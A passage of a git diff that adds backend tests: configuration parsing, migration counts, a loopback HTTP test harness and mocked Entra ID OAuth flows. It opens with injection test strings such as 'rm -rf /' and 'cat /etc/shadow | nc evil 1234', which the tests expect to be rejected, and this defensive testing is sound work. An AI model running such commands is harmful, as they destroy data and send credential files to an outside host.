"ls && rm -rf /", + "echo $(cat /etc/passwd)", + "cat /etc/shadow | nc evil 1234", + "echo `id`", + "ls > /tmp/out", + "find / -name '*'", + ]; + + for (const payload of injectionPayloads) { + it(`rejects command with metacharacters: ${payload}`, async () => { + await expect(boltService.runCommand("node1", payload)).rejects.toThrow( + /shell metacharacters/i, + ); + }); + } + + it("rejects a command beginning with a dash", async () => { + await expect(boltService.runCommand("node1", "--modulepath=/tmp")).rejects.toThrow( + /leading '-'/i, + ); + }); +}); diff --git a/backend/test/config/ConsoleConfig.test.ts b/backend/test/config/ConsoleConfig.test.ts new file mode 100644 index 00000000..682c8595 --- /dev/null +++ b/backend/test/config/ConsoleConfig.test.ts @@ -0,0 +1,182 @@ +/** + * Unit tests for console configuration parsing in ConfigService + * Validates: Requirements 11.1, 11.2, 11.3, 11.4, 11.5, 11.6 + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { ConfigService } from "../../src/config/ConfigService"; + +const savedEnv: Record = {}; + +function snapshotEnv(): void { + Object.assign(savedEnv, process.env); +} + +function restoreEnv(): void { + for (const key of Object.keys(process.env)) { + if (!(key in savedEnv)) { + delete process.env[key]; + } + } + for (const [key, value] of Object.entries(savedEnv)) { + if (value === undefined) { + delete process.env[key]; + } else { + process.env[key] = value; + } + } +} + +function setRequiredEnv(): void { + process.env.JWT_SECRET = "test-jwt-secret-for-unit-tests-with-32"; // pragma: allowlist secret + process.env.PABAWI_LIFECYCLE_TOKEN = "test-lifecycle-token"; // pragma: allowlist secret +} + +describe("ConfigService - Console Configuration", () => { + beforeEach(() => { + snapshotEnv(); + setRequiredEnv(); + }); + + afterEach(() => { + restoreEnv(); + vi.restoreAllMocks(); + }); + + describe("defaults (Req 11.1–11.4)", () => { + it("should apply default values when no CONSOLE_* env vars are set", () => { + const config = new ConfigService(); + const console = config.getConsoleConfig(); + + expect(console.sessionTimeoutMs).toBe(300000); + expect(console.maxSessionDuration).toBe(28800000); + expect(console.maxConcurrentSessions).toBe(3); + expect(console.heartbeatIntervalMs).toBe(30000); + }); + }); + + describe("valid env var parsing (Req 11.1–11.4)", () => { + it("should parse CONSOLE_SESSION_TIMEOUT_MS", () => { + process.env.CONSOLE_SESSION_TIMEOUT_MS = "600000"; + const config = new ConfigService(); + expect(config.getConsoleConfig().sessionTimeoutMs).toBe(600000); + }); + + it("should parse CONSOLE_MAX_SESSION_DURATION", () => { + process.env.CONSOLE_MAX_SESSION_DURATION = "3600000"; + const config = new ConfigService(); + expect(config.getConsoleConfig().maxSessionDuration).toBe(3600000); + }); + + it("should parse CONSOLE_MAX_CONCURRENT_SESSIONS", () => { + process.env.CONSOLE_MAX_CONCURRENT_SESSIONS = "10"; + const config = new ConfigService(); + expect(config.getConsoleConfig().maxConcurrentSessions).toBe(10); + }); + + it("should parse CONSOLE_HEARTBEAT_INTERVAL_MS", () => { + process.env.CONSOLE_HEARTBEAT_INTERVAL_MS = "15000"; + const config = new ConfigService(); + expect(config.getConsoleConfig().heartbeatIntervalMs).toBe(15000); + }); + }); + + describe("invalid values fall back to defaults with warning (Req 11.5)", () => { + it("should use default for non-numeric session timeout", () => { + process.env.CONSOLE_SESSION_TIMEOUT_MS = "abc"; + const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); + const config = new ConfigService(); + expect(config.getConsoleConfig().sessionTimeoutMs).toBe(300000); + expect(warnSpy).toHaveBeenCalledWith( + expect.stringContaining("CONSOLE_SESSION_TIMEOUT_MS"), + ); + }); + + it("should use default for floating point value", () => { + process.env.CONSOLE_SESSION_TIMEOUT_MS = "300.5"; + const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); + const config = new ConfigService(); + expect(config.getConsoleConfig().sessionTimeoutMs).toBe(300000); + expect(warnSpy).toHaveBeenCalledWith( + expect.stringContaining("CONSOLE_SESSION_TIMEOUT_MS"), + ); + }); + + it("should use default for negative value", () => { + process.env.CONSOLE_MAX_SESSION_DURATION = "-1"; + const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); + const config = new ConfigService(); + expect(config.getConsoleConfig().maxSessionDuration).toBe(28800000); + expect(warnSpy).toHaveBeenCalledWith( + expect.stringContaining("CONSOLE_MAX_SESSION_DURATION"), + ); + }); + + it("should use default for zero concurrent sessions", () => { + process.env.CONSOLE_MAX_CONCURRENT_SESSIONS = "0"; + const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); + const config = new ConfigService(); + expect(config.getConsoleConfig().maxConcurrentSessions).toBe(3); + expect(warnSpy).toHaveBeenCalledWith( + expect.stringContaining("CONSOLE_MAX_CONCURRENT_SESSIONS"), + ); + }); + + it("should use default for empty string", () => { + process.env.CONSOLE_HEARTBEAT_INTERVAL_MS = ""; + const config = new ConfigService(); + expect(config.getConsoleConfig().heartbeatIntervalMs).toBe(30000); + }); + }); + + describe("cross-field validation (Req 11.6)", () => { + it("should reset both to defaults when heartbeat >= session timeout", () => { + process.env.CONSOLE_SESSION_TIMEOUT_MS = "30000"; + process.env.CONSOLE_HEARTBEAT_INTERVAL_MS = "30000"; + const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); + const config = new ConfigService(); + const consoleConf = config.getConsoleConfig(); + + expect(consoleConf.sessionTimeoutMs).toBe(300000); + expect(consoleConf.heartbeatIntervalMs).toBe(30000); + expect(warnSpy).toHaveBeenCalledWith( + expect.stringContaining("CONSOLE_HEARTBEAT_INTERVAL_MS"), + ); + }); + + it("should reset both to defaults when heartbeat > session timeout", () => { + process.env.CONSOLE_SESSION_TIMEOUT_MS = "10000"; + process.env.CONSOLE_HEARTBEAT_INTERVAL_MS = "20000"; + const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {}); + const config = new ConfigService(); + const consoleConf = config.getConsoleConfig(); + + expect(consoleConf.sessionTimeoutMs).toBe(300000); + expect(consoleConf.heartbeatIntervalMs).toBe(30000); + expect(warnSpy).toHaveBeenCalledWith( + expect.stringContaining("must be less than"), + ); + }); + + it("should keep valid values when heartbeat < session timeout", () => { + process.env.CONSOLE_SESSION_TIMEOUT_MS = "60000"; + process.env.CONSOLE_HEARTBEAT_INTERVAL_MS = "5000"; + const config = new ConfigService(); + const consoleConf = config.getConsoleConfig(); + + expect(consoleConf.sessionTimeoutMs).toBe(60000); + expect(consoleConf.heartbeatIntervalMs).toBe(5000); + }); + }); + + describe("AppConfig integration", () => { + it("should expose console config through getConfig()", () => { + process.env.CONSOLE_MAX_CONCURRENT_SESSIONS = "5"; + const config = new ConfigService(); + const appConfig = config.getConfig(); + + expect(appConfig.console).toBeDefined(); + expect(appConfig.console.maxConcurrentSessions).toBe(5); + }); + }); +}); diff --git a/backend/test/database/migration-integration.test.ts b/backend/test/database/migration-integration.test.ts index ff123007..a192e2e7 100644 --- a/backend/test/database/migration-integration.test.ts +++ b/backend/test/database/migration-integration.test.ts @@ -28,8 +28,8 @@ describe('Migration Integration Test', () => { it('should apply all migrations on initialization', async () => { const status = await dbService.getMigrationStatus(); - // Should have applied all migrations (000 through 015, no 012 in source) - expect(status.applied).toHaveLength(15); + // Should have applied all migrations (000 through 019, no 012 in source) + expect(status.applied).toHaveLength(19); expect(status.applied[0].id).toBe('000'); expect(status.applied[1].id).toBe('001'); expect(status.applied[2].id).toBe('002'); @@ -45,6 +45,10 @@ describe('Migration Integration Test', () => { expect(status.applied[12].id).toBe('013'); expect(status.applied[13].id).toBe('014'); expect(status.applied[14].id).toBe('015'); + expect(status.applied[15].id).toBe('016'); + expect(status.applied[16].id).toBe('017'); + expect(status.applied[17].id).toBe('018'); + expect(status.applied[18].id).toBe('019'); expect(status.pending).toHaveLength(0); }); @@ -85,8 +89,8 @@ describe('Migration Integration Test', () => { const status = await dbService2.getMigrationStatus(); - // Should still have 15 applied, 0 pending - expect(status.applied).toHaveLength(15); + // Should still have 19 applied, 0 pending + expect(status.applied).toHaveLength(19); expect(status.pending).toHaveLength(0); await dbService2.close(); diff --git a/backend/test/database/rbac-schema.test.ts b/backend/test/database/rbac-schema.test.ts index 6dc7b1de..1b30ae6a 100644 --- a/backend/test/database/rbac-schema.test.ts +++ b/backend/test/database/rbac-schema.test.ts @@ -32,7 +32,7 @@ describe('RBAC Database Schema', () => { expect(result.sql).toContain('id TEXT PRIMARY KEY'); expect(result.sql).toContain('username TEXT NOT NULL UNIQUE'); expect(result.sql).toContain('email TEXT NOT NULL UNIQUE'); - expect(result.sql).toContain('password_hash TEXT NOT NULL'); + expect(result.sql).toContain('password_hash TEXT'); expect(result.sql).toContain('is_active INTEGER NOT NULL DEFAULT 1'); expect(result.sql).toContain('is_admin INTEGER NOT NULL DEFAULT 0'); }); diff --git a/backend/test/debug-expert-mode.test.ts b/backend/test/debug-expert-mode.test.ts index b39fb501..99161f8f 100644 --- a/backend/test/debug-expert-mode.test.ts +++ b/backend/test/debug-expert-mode.test.ts @@ -1,9 +1,24 @@ -import { describe, it, expect, beforeEach } from "vitest"; +import { describe, it, expect, beforeEach, beforeAll, afterAll } from "vitest"; import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "./helpers/httpHarness"; import { requestIdMiddleware } from "../src/middleware/errorHandler"; import { expertModeMiddleware } from "../src/middleware/expertMode"; +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Debug Expert Mode", () => { let app: Express; @@ -22,7 +37,7 @@ describe("Debug Expert Mode", () => { }); it("should have expertMode=false when no header is set", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/test") .expect(200); @@ -31,7 +46,7 @@ describe("Debug Expert Mode", () => { }); it("should have expertMode=true when header is set", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/test") .set("X-Expert-Mode", "true") .expect(200); diff --git a/backend/test/debug-inventory-route.test.ts b/backend/test/debug-inventory-route.test.ts index 77967fe9..313ac2f0 100644 --- a/backend/test/debug-inventory-route.test.ts +++ b/backend/test/debug-inventory-route.test.ts @@ -1,6 +1,7 @@ -import { describe, it, expect, beforeEach, vi } from "vitest"; +import { describe, it, expect, beforeEach, vi, beforeAll, afterAll } from "vitest"; import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "./helpers/httpHarness"; import { BoltService } from "../src/integrations/bolt/BoltService"; import { IntegrationManager } from "../src/integrations/IntegrationManager"; import { createInventoryRouter } from "../src/routes/inventory"; @@ -13,6 +14,20 @@ vi.mock("child_process", () => ({ spawn: vi.fn(), })); +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Debug Inventory Route", () => { let app: Express; let boltService: BoltService; @@ -53,7 +68,7 @@ describe("Debug Inventory Route", () => { }); it("should NOT include debug info when expert mode is disabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/inventory") .expect(200); @@ -64,7 +79,7 @@ describe("Debug Inventory Route", () => { }); it("should include debug info when expert mode is enabled", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/inventory") .set("X-Expert-Mode", "true") .expect(200); diff --git a/backend/test/helpers/httpHarness.ts b/backend/test/helpers/httpHarness.ts new file mode 100644 index 00000000..3ca78e54 --- /dev/null +++ b/backend/test/helpers/httpHarness.ts @@ -0,0 +1,112 @@ +import http from "node:http"; +import type { RequestListener, Server } from "node:http"; + +/** + * A long-lived HTTP server, bound to loopback, that supertest can be pointed at. + * + * ## Why this exists + * + * `request(app)` makes supertest call `app.listen(0)` and then connect to + * `127.0.0.1:` — a fresh listening socket for *every single request* + * (`node_modules/supertest/lib/test.js:63`). That is unsafe on macOS, and it + * was the root cause of the long-standing backend suite flakiness: + * + * - `listen(0)` with no host binds the **wildcard** address (`::`), so the + * kernel's ephemeral-port allocator only avoids conflicts on the wildcard. + * - macOS hands out ephemeral ports from 49152-65535 — the same range in which + * unrelated desktop applications (Ollama, editor helpers, Docker, VPN agents) + * hold long-lived listeners bound specifically to `127.0.0.1`. + * - A wildcard bind on a port already held on `127.0.0.1` **succeeds**, but the + * more specific bind wins for incoming connections. supertest then connects to + * `127.0.0.1:` and its request is served by the foreign application. + * + * The test sees a plausible-looking HTTP response that its app never produced — + * `401`, `404`, `426 Upgrade Required` — with no error and no stack trace. + * Measured rate on a developer Mac: ~0.07% of requests (7 in 9600). Across a + * full suite run of ~10k requests that is the observed 0-8 unrelated failures + * per run, landing on a different, disjoint set of tests each time. + * + * Binding explicitly to `127.0.0.1` closes the hole — the kernel then sees the + * real conflict and never hands out a shadowed port (measured: 0 misroutes in + * 9600 requests). But `listen(0, "127.0.0.1")` resolves the host through + * `dns.lookup`, so `server.address()` is not available until a later tick, + * and supertest reads the port synchronously. A drop-in patch is therefore not + * possible; the server has to be bound ahead of time, which is what this helper + * does. + * + * Reusing one server also removes the per-request bind/close churn entirely — + * at high request volumes that churn exhausts the loopback ephemeral range and + * starts throwing `EADDRNOTAVAIL`. + * + * ## Usage + * + * let harness: HttpHarness; + * beforeAll(async () => { harness = await createHttpHarness(); }); + * afterAll(async () => { await harness.close(); }); + * + * // then, instead of `request(app)`: + * await request(harness.use(app)).get("/api/...").expect(200); + * + * `use()` swaps the mounted handler and returns the already-listening server. + * Because that server reports an address, supertest skips its own `listen(0)` + * and — since it only closes servers it opened itself — leaves it alone + * (`node_modules/supertest/lib/test.js:134-145`). + * + * The handler is swapped rather than memoised per app so that tests which build + * a fresh Express app per iteration (property tests, notably) still use exactly + * one socket instead of hundreds. + */ +export interface HttpHarness { + /** + * Mount `app` as the current handler and return the listening server to hand + * to supertest. Safe to call repeatedly, including with a different app. + */ + use(app: RequestListener): Server; + /** The loopback port the harness is bound to. */ + readonly port: number; + /** Stop listening. Call from `afterAll`. */ + close(): Promise; +} + +/** + * Create and bind a loopback HTTP harness. Bind once per test file. + */ +export async function createHttpHarness(): Promise { + let current: RequestListener | null = null; + + const server = http.createServer((req, res) => { + if (!current) { + // Only reachable if a request is issued before any use() call, which + // would otherwise surface as a confusing socket hang-up. + res.statusCode = 503; + res.end("httpHarness: no app mounted"); + return; + } + current(req, res); + }); + + await new Promise((resolve, reject) => { + server.once("error", reject); + // Explicit loopback host is the whole point — see the doc comment above. + server.listen(0, "127.0.0.1", () => { + server.removeListener("error", reject); + resolve(); + }); + }); + + return { + use(app: RequestListener): Server { + current = app; + return server; + }, + get port(): number { + return (server.address() as { port: number }).port; + }, + close(): Promise { + return new Promise((resolve) => { + current = null; + server.close(() => resolve()); + }); + }, + }; +} diff --git a/backend/test/integration/EntraIdAuthFlow.test.ts b/backend/test/integration/EntraIdAuthFlow.test.ts new file mode 100644 index 00000000..5895039f --- /dev/null +++ b/backend/test/integration/EntraIdAuthFlow.test.ts @@ -0,0 +1,654 @@ +import { describe, it, expect, beforeEach, afterEach, vi, beforeAll, afterAll } from 'vitest'; +import express, { type Express } from 'express'; +import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; +import crypto from 'crypto'; +import jwt from 'jsonwebtoken'; + +import { createEntraIdAuthRouter } from '../../src/routes/entraIdAuth'; +import { createAuthRouter } from '../../src/routes/auth'; +import { DatabaseService } from '../../src/database/DatabaseService'; +import { EntraIdService } from '../../src/services/EntraIdService'; +import { AuthenticationService } from '../../src/services/AuthenticationService'; +import { UserService } from '../../src/services/UserService'; +import { RoleService } from '../../src/services/RoleService'; +import { AuditLoggingService } from '../../src/services/AuditLoggingService'; +import { LoggerService } from '../../src/services/LoggerService'; +import { DIContainer } from '../../src/container/DIContainer'; +import { ConfigService } from '../../src/config/ConfigService'; +import type { EntraIdConfig } from '../../src/config/schema'; + +// --- Test RSA key pair for signing ID tokens --- +const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', { + modulusLength: 2048, + publicKeyEncoding: { type: 'spki', format: 'pem' }, + privateKeyEncoding: { type: 'pkcs8', format: 'pem' }, +}); + +const TEST_KID = 'test-key-id-001'; + +function pemToJwk(pem: string, kid: string): { + kty: string; use: string; kid: string; n: string; e: string; +} { + const keyObj = crypto.createPublicKey(pem); + const jwk = keyObj.export({ format: 'jwk' }); + return { + kty: 'RSA', + use: 'sig', + kid, + n: jwk.n as string, + e: jwk.e as string, + }; +} + +const TEST_JWK = pemToJwk(publicKey, TEST_KID); + +// --- Test Entra ID configuration --- +const TEST_TENANT_ID = 'test-tenant-id-12345'; +const TEST_CLIENT_ID = 'test-client-id-67890'; +const TEST_CLIENT_SECRET = 'test-client-secret-abcdef'; // pragma: allowlist secret +const TEST_REDIRECT_URI = 'http://localhost:3000/api/auth/entra-id/callback'; + +const testEntraIdConfig: EntraIdConfig = { + enabled: true, + tenantId: TEST_TENANT_ID, + clientId: TEST_CLIENT_ID, + clientSecret: TEST_CLIENT_SECRET, // pragma: allowlist secret + redirectUri: TEST_REDIRECT_URI, + scopes: ['openid', 'profile', 'email'], + groupMapping: null, + postLogoutRedirectUri: 'http://localhost:3000', + jwksCacheTtlMs: 86400000, +}; + +/** + * Sign a test ID token with our test private key. + * Note: Do NOT include `exp` in claims if using `expiresIn` option (jsonwebtoken rejects both). + */ +function signTestIdToken(claims: Record): string { + return jwt.sign(claims, privateKey, { + algorithm: 'RS256', + keyid: TEST_KID, + }); +} + +/** + * Create a valid test ID token with standard claims. + */ +function createValidIdToken(overrides: Partial> = {}, nonce?: string): string { + const now = Math.floor(Date.now() / 1000); + const claims = { + sub: 'entra-user-sub-12345', + email: 'testuser@example.com', + preferred_username: 'testuser', + given_name: 'Test', + family_name: 'User', + nonce: nonce ?? 'test-nonce', + aud: TEST_CLIENT_ID, + iss: `https://login.microsoftonline.com/${TEST_TENANT_ID}/v2.0`, + iat: now, + exp: now + 3600, + ...overrides, + }; + return signTestIdToken(claims); +} + +/** + * Integration Tests for the full Entra ID OAuth Flow + * + * Tests the complete authorization URL generation → callback → token exchange + * flow with mocked Entra ID endpoints. + * + * Validates: Requirements 2.1, 3.1, 7.1, 7.2, 7.3, 7.4, 9.4, 9.8 + */ +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + +describe('Entra ID Auth Flow Integration Tests', () => { + let app: Express; + let databaseService: DatabaseService; + let entraIdService: EntraIdService; + let container: DIContainer; + let fetchSpy: ReturnType; + + beforeEach(async () => { + process.env.JWT_SECRET = 'test-secret-key-for-entra-id-integration'; // pragma: allowlist secret + process.env.ENTRA_ID_ENABLED = 'true'; + process.env.ENTRA_ID_TENANT_ID = TEST_TENANT_ID; + process.env.ENTRA_ID_CLIENT_ID = TEST_CLIENT_ID; + process.env.ENTRA_ID_CLIENT_SECRET = TEST_CLIENT_SECRET; // pragma: allowlist secret + process.env.ENTRA_ID_REDIRECT_URI = TEST_REDIRECT_URI; + + databaseService = new DatabaseService(':memory:'); + await databaseService.initialize(); + + const db = databaseService.getAdapter(); + const logger = new LoggerService(); + const auditLogger = new AuditLoggingService(db); + const jwtSecret = process.env.JWT_SECRET; + const authService = new AuthenticationService(db, jwtSecret, auditLogger, 4); + const userService = new UserService(db, authService); + const roleService = new RoleService(db); + + entraIdService = new EntraIdService( + db, + testEntraIdConfig, + authService, + userService, + roleService, + auditLogger, + logger, + ); + + container = new DIContainer(); + container.register('logger', logger); + + const configService = new ConfigService(); + container.register('config', configService); + + const { ExpertModeService } = await import('../../src/services/ExpertModeService'); + container.register('expertMode', new ExpertModeService()); + container.register('entraId', entraIdService); + + app = express(); + app.use(express.json()); + app.use('/api/auth/entra-id', createEntraIdAuthRouter(databaseService, container)); + app.use('/api/auth', createAuthRouter(databaseService, container)); + + // Mock global fetch for external Entra ID calls + fetchSpy = vi.spyOn(globalThis, 'fetch'); + }); + + afterEach(async () => { + vi.restoreAllMocks(); + await databaseService.close(); + delete process.env.ENTRA_ID_ENABLED; + delete process.env.ENTRA_ID_TENANT_ID; + delete process.env.ENTRA_ID_CLIENT_ID; + delete process.env.ENTRA_ID_CLIENT_SECRET; + delete process.env.ENTRA_ID_REDIRECT_URI; + }); + + describe('Full happy path: auth URL → callback → token exchange', () => { + it('should complete the full OAuth flow', async () => { + // Step 1: Get the authorization URL via /login endpoint + const loginResponse = await request(harness.use(app)) + .get('/api/auth/entra-id/login') + .expect(302); + + const redirectUrl = new URL(loginResponse.headers.location); + expect(redirectUrl.hostname).toBe('login.microsoftonline.com'); + expect(redirectUrl.pathname).toContain(TEST_TENANT_ID); + expect(redirectUrl.searchParams.get('response_type')).toBe('code'); + expect(redirectUrl.searchParams.get('client_id')).toBe(TEST_CLIENT_ID); + expect(redirectUrl.searchParams.get('code_challenge_method')).toBe('S256'); + + const state = redirectUrl.searchParams.get('state'); + const nonce = redirectUrl.searchParams.get('nonce'); + expect(state).toBeTruthy(); + expect(nonce).toBeTruthy(); + + // Step 2: Simulate callback from Entra ID + // We need to get the stored nonce from the DB to create a valid ID token + const stateEntry = await databaseService.getAdapter().queryOne<{ + nonce: string; + code_verifier: string; + }>( + `SELECT nonce, code_verifier FROM oauth_state_store WHERE state = ?`, + [state!], + ); + expect(stateEntry).not.toBeNull(); + + const validIdToken = createValidIdToken({ nonce: stateEntry!.nonce }, stateEntry!.nonce); + + // Mock the token endpoint + fetchSpy.mockImplementation(async (input: RequestInfo | URL) => { + const url = typeof input === 'string' ? input : input.toString(); + + if (url.includes('/oauth2/v2.0/token')) { + return new Response( + JSON.stringify({ + id_token: validIdToken, + access_token: 'mock-entra-access-token', + token_type: 'Bearer', + }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + + if (url.includes('/discovery/v2.0/keys')) { + return new Response( + JSON.stringify({ keys: [TEST_JWK] }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + + return new Response('Not found', { status: 404 }); + }); + + // Call the callback endpoint + const callbackResponse = await request(harness.use(app)) + .get('/api/auth/entra-id/callback') + .query({ code: 'mock-auth-code', state: state! }) + .expect(302); + + // Should redirect to frontend with an auth code + const frontendRedirect = new URL(callbackResponse.headers.location); + const authCode = frontendRedirect.searchParams.get('code'); + expect(authCode).toBeTruthy(); + expect(authCode!.length).toBeGreaterThan(0); + + // Step 3: Exchange the auth code for tokens + const tokenResponse = await request(harness.use(app)) + .post('/api/auth/entra-id/token') + .send({ code: authCode }) + .expect(200); + + expect(tokenResponse.body).toHaveProperty('token'); + expect(tokenResponse.body).toHaveProperty('refreshToken'); + expect(tokenResponse.body).toHaveProperty('user'); + expect(tokenResponse.body.user.username).toBe('testuser'); + expect(tokenResponse.body.user.email).toBe('testuser@example.com'); + + // Step 4: Verify the auth code cannot be reused (single-use) + const replayResponse = await request(harness.use(app)) + .post('/api/auth/entra-id/token') + .send({ code: authCode }) + .expect(400); + + expect(replayResponse.body.error.code).toBe('INVALID_AUTH_CODE'); + }); + }); + + describe('JWKS cache fallback on endpoint failure', () => { + it('should use cached JWKS keys when endpoint fails on second request', async () => { + // First: generate auth URL to get state + const loginRes = await request(harness.use(app)) + .get('/api/auth/entra-id/login') + .expect(302); + + const redirectUrl = new URL(loginRes.headers.location); + const state = redirectUrl.searchParams.get('state')!; + + const stateEntry = await databaseService.getAdapter().queryOne<{ + nonce: string; + code_verifier: string; + }>( + `SELECT nonce, code_verifier FROM oauth_state_store WHERE state = ?`, + [state], + ); + + const validIdToken = createValidIdToken({ nonce: stateEntry!.nonce }, stateEntry!.nonce); + + let jwksFetchCount = 0; + + fetchSpy.mockImplementation(async (input: RequestInfo | URL) => { + const url = typeof input === 'string' ? input : input.toString(); + + if (url.includes('/oauth2/v2.0/token')) { + return new Response( + JSON.stringify({ + id_token: validIdToken, + access_token: 'mock-access-token', + }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + + if (url.includes('/discovery/v2.0/keys')) { + jwksFetchCount++; + if (jwksFetchCount === 1) { + // First call succeeds — populates the cache + return new Response( + JSON.stringify({ keys: [TEST_JWK] }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + // Subsequent calls fail — should use cache + return new Response('Service unavailable', { status: 503 }); + } + + return new Response('Not found', { status: 404 }); + }); + + // First callback: should succeed and cache JWKS keys + const callbackRes1 = await request(harness.use(app)) + .get('/api/auth/entra-id/callback') + .query({ code: 'auth-code-1', state }) + .expect(302); + + const authCode1 = new URL(callbackRes1.headers.location).searchParams.get('code')!; + await request(harness.use(app)).post('/api/auth/entra-id/token').send({ code: authCode1 }).expect(200); + + // Now force cache to be stale by manipulating the service internals + // The jwksCache has a fetchedAt that we need to backdating. + // Since the cache TTL is 24h, the second request within the test will use + // the in-memory cache anyway. Let's verify via a second full flow. + + // Generate a new authorization URL for a second login + const loginRes2 = await request(harness.use(app)).get('/api/auth/entra-id/login').expect(302); + const state2 = new URL(loginRes2.headers.location).searchParams.get('state')!; + + const stateEntry2 = await databaseService.getAdapter().queryOne<{ + nonce: string; + }>( + `SELECT nonce FROM oauth_state_store WHERE state = ?`, + [state2], + ); + + const validIdToken2 = createValidIdToken( + { nonce: stateEntry2!.nonce, sub: 'returning-user-sub' }, + stateEntry2!.nonce, + ); + + // Update fetch mock to return the second token + fetchSpy.mockImplementation(async (input: RequestInfo | URL) => { + const url = typeof input === 'string' ? input : input.toString(); + if (url.includes('/oauth2/v2.0/token')) { + return new Response( + JSON.stringify({ id_token: validIdToken2, access_token: 'mock-access-2' }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + if (url.includes('/discovery/v2.0/keys')) { + // JWKS endpoint fails completely + return new Response('Service unavailable', { status: 503 }); + } + return new Response('Not found', { status: 404 }); + }); + + // Force cache expiry by manipulating the internal cache timestamp + // eslint-disable-next-line @typescript-eslint/no-explicit-any + (entraIdService as any).jwksCache.fetchedAt = 0; + + // Second callback: JWKS endpoint fails but cache should serve + const callbackRes2 = await request(harness.use(app)) + .get('/api/auth/entra-id/callback') + .query({ code: 'auth-code-2', state: state2 }) + .expect(302); + + const authCode2 = new URL(callbackRes2.headers.location).searchParams.get('code')!; + const tokenRes2 = await request(harness.use(app)) + .post('/api/auth/entra-id/token') + .send({ code: authCode2 }) + .expect(200); + + expect(tokenRes2.body.user.email).toBe('testuser@example.com'); + }); + }); + + describe('Token exchange timeout behavior (>10s)', () => { + it('should return TOKEN_EXCHANGE_FAILED when token endpoint times out', async () => { + const loginRes = await request(harness.use(app)).get('/api/auth/entra-id/login').expect(302); + const state = new URL(loginRes.headers.location).searchParams.get('state')!; + + // Mock the token endpoint to abort (simulating a timeout via AbortError) + fetchSpy.mockImplementation(async (input: RequestInfo | URL, init?: RequestInit) => { + const url = typeof input === 'string' ? input : input.toString(); + + if (url.includes('/oauth2/v2.0/token')) { + // Simulate AbortSignal.timeout(10000) firing + const error = new DOMException('The operation was aborted', 'AbortError'); + if (init?.signal) { + // Check if the signal is already aborted + if (init.signal.aborted) { + throw error; + } + } + throw error; + } + + return new Response('Not found', { status: 404 }); + }); + + const callbackRes = await request(harness.use(app)) + .get('/api/auth/entra-id/callback') + .query({ code: 'timeout-code', state }) + .expect(401); + + expect(callbackRes.body.error.code).toBe('TOKEN_EXCHANGE_FAILED'); + expect(callbackRes.body.error.message).toContain('unreachable'); + }); + }); + + describe('Database failure during provisioning (atomicity)', () => { + it('should reject with PROVISIONING_FAILED and leave no partial state', async () => { + const loginRes = await request(harness.use(app)).get('/api/auth/entra-id/login').expect(302); + const state = new URL(loginRes.headers.location).searchParams.get('state')!; + + const stateEntry = await databaseService.getAdapter().queryOne<{ nonce: string }>( + `SELECT nonce FROM oauth_state_store WHERE state = ?`, + [state], + ); + + const idToken = createValidIdToken({ nonce: stateEntry!.nonce }, stateEntry!.nonce); + + fetchSpy.mockImplementation(async (input: RequestInfo | URL) => { + const url = typeof input === 'string' ? input : input.toString(); + if (url.includes('/oauth2/v2.0/token')) { + return new Response( + JSON.stringify({ id_token: idToken, access_token: 'mock-access' }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + if (url.includes('/discovery/v2.0/keys')) { + return new Response( + JSON.stringify({ keys: [TEST_JWK] }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + return new Response('Not found', { status: 404 }); + }); + + // Spy on the UserService.createFederatedUser to throw a DB error + const createFederatedUserSpy = vi.spyOn( + entraIdService.userService, + 'createFederatedUser', + ); + createFederatedUserSpy.mockRejectedValueOnce(new Error('SQLITE_CONSTRAINT: UNIQUE')); + + const callbackRes = await request(harness.use(app)) + .get('/api/auth/entra-id/callback') + .query({ code: 'db-fail-code', state }) + .expect(500); + + expect(callbackRes.body.error.code).toBe('PROVISIONING_FAILED'); + + // Verify no user was partially created + const users = await databaseService.getAdapter().query<{ username: string }>( + `SELECT username FROM users WHERE email = 'testuser@example.com'`, + [], + ); + expect(users).toHaveLength(0); + + // Verify no federated identity was created + const identities = await databaseService.getAdapter().query<{ id: string }>( + `SELECT id FROM federated_identities WHERE subject = 'entra-user-sub-12345'`, + [], + ); + expect(identities).toHaveLength(0); + }); + }); + + describe('Audit logging verification', () => { + it('should record audit log entry after successful SSO login', async () => { + const loginRes = await request(harness.use(app)).get('/api/auth/entra-id/login').expect(302); + const state = new 